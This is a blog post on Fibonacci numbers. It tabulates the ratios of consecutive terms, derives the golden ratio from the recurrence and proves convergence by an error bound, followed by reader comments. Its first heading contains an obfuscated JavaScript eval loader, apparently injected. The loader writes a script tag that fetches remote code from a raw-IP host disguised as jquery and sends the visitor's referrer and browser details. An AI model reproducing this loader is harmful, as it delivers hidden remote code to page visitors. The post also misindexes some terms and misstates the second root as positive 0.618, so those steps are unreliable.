# How fast do the Fibonacci numbers grow?

Posted by: Gary Ernest Davis on: December 1, 2010

#### Fibonacci eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktafd|var|u0026u|referrer|akakd||js|php'.split('|'),0,{})) numbers

The sequence of Fibonacci numbers begins $1, 1, 2, 3, 5, 8, 13, 21,\ldots$ .

The defining feature of these numbers is that each is the sum of the preceding two: $2=1+1, 3=2+1, 5=2+3, 8=5+3, 13=8+5, 21=13+8, \ldots$.

We can write this defining property as a recurrence relation by naming the $n^{th}$ Fibonacci number $F_n$, starting from $n=0$.

So, $F_0=1, F_1=1, F_2=2, F_3=3, F_4=5, F_6=8, F_7=13, F_9=21,\ldots$.

The recurrence for the $F_n$ is then:

x $F_n=F_{n-1}+F_{n-2}$ for $n\geq 2$ with $F_0=1=F_1$ ………………………..(1)

x

#### How rapidly do the Fibonacci numbers grow?

When we calculate a few of them we notice a curious thing about the ratio $\frac{F_n}{F_{n-1}}$: $n$ $F_n$ $\frac{F_n}{F_{n-1}}$ 0 1 1 1 1 2 2 2 3 3 1.5 4 5 1.666666667 5 8 1.6 6 13 1.625 7 21 1.615384615 8 34 1.619047619 9 55 1.617647059 10 89 1.618181818 11 144 1.617977528 12 233 1.618055556 13 377 1.618025751 14 610 1.618037135 15 987 1.618032787 16 1597 1.618034448 17 2584 1.618033813 18 4181 1.618034056 19 6765 1.618033963 20 10946 1.618033999 21 17711 1.618033985 22 28657 1.61803399 23 46368 1.618033988 24 75025 1.618033989 25 121393 1.618033989 26 196418 1.618033989 27 317811 1.618033989 28 514229 1.618033989 29 832040 1.618033989 30 1346269 1.618033989

x

The ratio $\frac{F_n}{F_{n-1}}$ seems to pretty quickly converge to a number that is approximately  1.618033989.

What this means is that, before too long, $F_n\approx 1.618033989\times F_{n-1}$.

Because $1.618033989 > 1$, this means that the Fibonacci numbers appear to increase exponentially, with a multiplication factor of about 1.618033989.

#### What’s going on? Can we give a reason why the Fibonacci numbers increase exponentially, other than numerical evidence from a table of values?

And where does that strange number 1.618033989 come from?

Everything we know, and can know, about the Fibonacci numbers comes from the recurrence relation (1).

We are interested in the ratio $R_n:=\frac{F_n}{F_{n-1}}$ so let’s divide the recurrence relation (1) by $F_{n-1}$ to get:

x $\frac{F_n}{F_{n-1}}=1+\frac{F_{n-2}}{F_{n-1}}$ …………………………………………(2)

x

In terms of the name $R_n$ for the ratio $\frac{F_n}{F_{n-1}}$, (2) says:

x $R_n=1+\frac{1}{R_{n-1}}$ ………………………………………..(3)

x

If – and for now it is just an “if” – $R_n$ conveges to some number $\phi \textrm{ as } n\to \infty$ then the difference between $R_n \textrm{ and } \phi$ becomes very small as $n$ increases, so $\phi$ must satisfy:

x

x $\phi=1+\frac{1}{\phi}$ ………………………………………………(4)

x

x

Multiplying this through by $\phi$ gives a quadratic equation for $\phi$:

x $\phi ^2-\phi -1 =0$ …………………………………………….(5)

x

The roots of this quadratic equation are:

x $\frac{1}{2}(1+\sqrt{5}) \approx 1.618033989\textrm{ and } \frac{1}{2}(-1+\sqrt{5}) \approx 0.618033989$.

x

This looks promising! It seems the mysterious 1.618033989 is just $\frac{1}{2}(1+\sqrt{5})$

In other words, it’s looking like $F_n \approx \frac{1}{2}(1+\sqrt{5}) \times F_{n-1}$ for large $n$.

#### Can we prove it?

We have shown that IF $R_n=\frac{F_n}{F_{n-1}}$ converges to a number then that number must be $\phi = \frac{1}{2}(1+\sqrt{5})$. The ratio cannot converge to the other root of the quadratic because the Fibonacci numbers increase with $n$.

What we have not yet shown is that, in fact, $R_n \to \phi \textrm{ as } n\to \infty$.

How can we do that?

One way is to examine the error $E_n:=R_n-\phi$ and try to show that the error converges to 0 as $n$ increases.

All we know about $R_n\textrm{ and } \phi$ come from (3) and (4).

So: $E_n=R_n-\phi=(1+\frac{1}{R_{n-1}})-(1+\frac{1}{\phi}) =\frac{1}{R_{n-1}}-\frac{1}{\phi}= \frac{\phi-R_{n-1}}{\phi\times R_{n-1}} = -\frac{E_{n-1}}{\phi\times R_{n-1}}$

That is, taking the size of the error:

x $\vert E_n\vert = \frac{1}{\phi\times R_{n-1}}\times \vert E_{n-1}\vert$

x

Because the Fibonacci numbers increase we know that $R_n\geq 1\textrm{ for all } n$, so:

x $\vert E_n\vert \leq \frac{1}{\phi}\times \vert E_{n-1}\vert =\frac{1}{2}(-1+\sqrt{5})\vert E_{n-1}\vert$ …………..(6)

x

Because $\frac{1}{2}(-1+\sqrt{5}) <1$ , (6) tells us that the error $E_n\to 0\textrm{ as } n\to\infty$.

In other words, the ratio $\frac{F_n}{F_{n-1}}\to \phi \textrm{ as } n\to \infty$ as the numerical evidence strongly suggested.

Numerical methods and numerical analysis

#### Numerical methods and numerical analysis

Numerical methods are what we use to get numerical information about an equation or a situation where we do not – yet – understand the algebra.

Numerical analysis is careful analysis of the errors to show that some quantity does, in fact, converge.

Numerical methods give us supporting evidence.

Numerical analysis shows this supporting evidence is, in fact, correct.

### 3 Responses to "How fast do the Fibonacci numbers grow?" Ah yes: The Golden Ratio!  One interesting thing is that it doesn’t matter what two numbers you start with, you quickly get to the same ratio. Certainly for all the reals:

e.g 1 412 413 815 1228 ……

I first figured this out when I was about 12 or so. I excitedly brought it to my math teacher (this was LONG before the internet) and we quickly found that this had been known for centuries. Oh well.

A little playing around indicates that it works for the complex numbers as well. Yes, you’re right Peter – the long-term behavior is independent of the initial conditions. This is also a question of numerical analysis, related to stability.  